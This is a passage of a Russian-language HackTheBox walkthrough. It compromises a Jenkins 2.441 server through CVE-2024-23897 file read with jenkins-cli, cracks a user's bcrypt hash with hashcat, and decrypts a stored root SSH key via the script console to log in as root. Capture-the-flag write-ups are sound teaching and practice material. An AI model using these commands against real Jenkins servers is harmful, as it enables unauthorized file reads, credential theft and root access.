Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Обзор сервисов
Начнем решение машины со сканирования портов с помощью rustscan
:
$ rustscan --range=1-65535 -a 10.10.11.10 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.11.10:22
Open 10.10.11.10:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.10
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2024-03-16 10:19 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Initiating Ping Scan at 10:19
Scanning 10.10.11.10 [2 ports]
Completed Ping Scan at 10:19, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:19
Completed Parallel DNS resolution of 1 host. at 10:19, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:19
Scanning 10.10.11.10 [2 ports]
Discovered open port 8080/tcp on 10.10.11.10
Discovered open port 22/tcp on 10.10.11.10
Completed Connect Scan at 10:19, 0.05s elapsed (2 total ports)
Initiating Service scan at 10:19
Scanning 2 services on 10.10.11.10
Completed Service scan at 10:19, 6.14s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.10.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 1.97s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.21s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Nmap scan report for 10.10.11.10
Host is up, received conn-refused (0.051s latency).
Scanned at 2024-03-16 10:19:06 UTC for 8s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080/tcp open http syn-ack Jetty 10.0.18
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.18)
|_http-title: Dashboard [Jenkins]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:19
Completed NSE at 10:19, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.89 seconds
Как и на всех стандартных машинах с Linux на HackTheBox мы обнаруживаем открытый SSH и веб.
Jenkins
Перейдем на веб-сервис и обнаружим Jenkins 2.441.
Зная эту версию, мы находим CVE-2024-23897 и множество эксплоитов. Воспользуемся одним из них.
git clone https://github.com/pulentoski/CVE-2024-23897-Arbitrary-file-read
cd CVE-2024-23897-Arbitrary-file-read
Обязательно читаем скрипт перед запуском!
python3 CVE-2024-23897-A-scaner.py
Вводим ссылку на Jenkins http://10.10.11.10:8080/
, затем пишем s
, чтобы скачать {url}/jnlpJars/jenkins-cli.jar
.
Попробуем для начала опцию 6
, чтобы скачать /etc/passwd
/. Нам это удается, после чего пробуем опцию 2
, который выкачает содержимое /proc/self/environ
.
HOSTNAME
похож на таковой в Docker-контейнере, а JENKINS_HOME=/var/jenkins_home
.
Давайте проверим второй скрипт CVE-2024-23897-B-DOCKER-scaner.py
. Опция 4
позволяет нам найти пользователей.
python3 CVE-2024-23897-B-DOCKER-scaner.py
Отсюда мы узнаем имя пользователя jennifer
и ее название каталога с ее конфигурационными файлами jennifer_12108429903186576833
.
Также выполним опцию 5
и узнаем, что на сервере сохранен SSH-ключ.
Чтобы узнать расположение файлов в Jenkins, попробуем развернуть его локально из контейнера.
podman run -p 8080:8080 --name jenkins -d docker.io/jenkins/jenkins:2.441-jdk17
После запуска узнаем пароль админа:
podman logs jenkins
Перейдем на http://localhost:8080 и введем пароль.
Проведем базовую установку.
Создадим тестового администратора.
Зайдем в контейнер:
podman exec -it jenkins /bin/bash
Перейдем в каталог /var/jenkins_home
и посмотрим на структуру:
Теперь проверим содержимое каталога users
, а также внутреннюю структуру и конфигурационный файл пользователя:
Узнав, как хранятся пользователи в Jenkins, получим хеш пользователя jennifer
:
java -jar jenkins-cli.jar -s http://10.10.11.10:8080/ connect-node '@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml'
Сохраним хеш в файл hash.txt
, предварительно удалив jbcrypt:
, а затем запустим брутфорс:
hashcat -a 0 -m 3200 hash.txt rockyou.txt
Теперь можем попробовать залогиниться как jennifer
.
Перейдем в раздел Credentials http://10.10.11.10:8080/manage/credentials/ и проверим, что за SSH-ключ сохранен в сборочной системе.
Это ключ пользователя root
.
Перейдем в свойства сохраненного ключа (у него режим доступа без ограничений) http://10.10.11.10:8080/manage/credentials/store/system/domain/_/credential/1/update, и увидим, что ключ не показывается.
Нажмем на Consealed for Confidentiality
правой кнопкой мыши и выберем Inspect
.
Здесь увидим идентификатор ключа внутри Jenkins.
Копируем зашифрованный ключ вместе с {…}
.
Чтобы расшифровать ключ, воспользуемся панелью для скриптинга Jenkins http://10.10.11.10:8080/script и функции hudson.util.Secret.decrypt
(https://devops.stackexchange.com/a/2192):
println(hudson.util.Secret.decrypt("{AQAAABAAAAowLrfCrZx9baWliwrtCiwCyztaYVoYdkPrn5qEEYDqj5frZLuo4qcqH61hjEUdZtkPiX6buY...MR8IMMaKSM=}"))
Сохраняем полученный ключ в файл id_rsa
, применяем к нему chmod
и логинимся по SSH.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]
Флаг пользователя
Перейдем внутрь docker-контейнера с Jenkins и зайдем в /var/jenkins_home
, чтобы забрать флаг:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
0f52c222a4cc jenkins/jenkins:2.441 "/usr/bin/tini -- /u…" 5 weeks ago Up 16 hours 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp, 50000/tcp boring_euclid
$ docker exec -it 0f52c222a4cc /bin/sh
$ cd /var/jenkins_home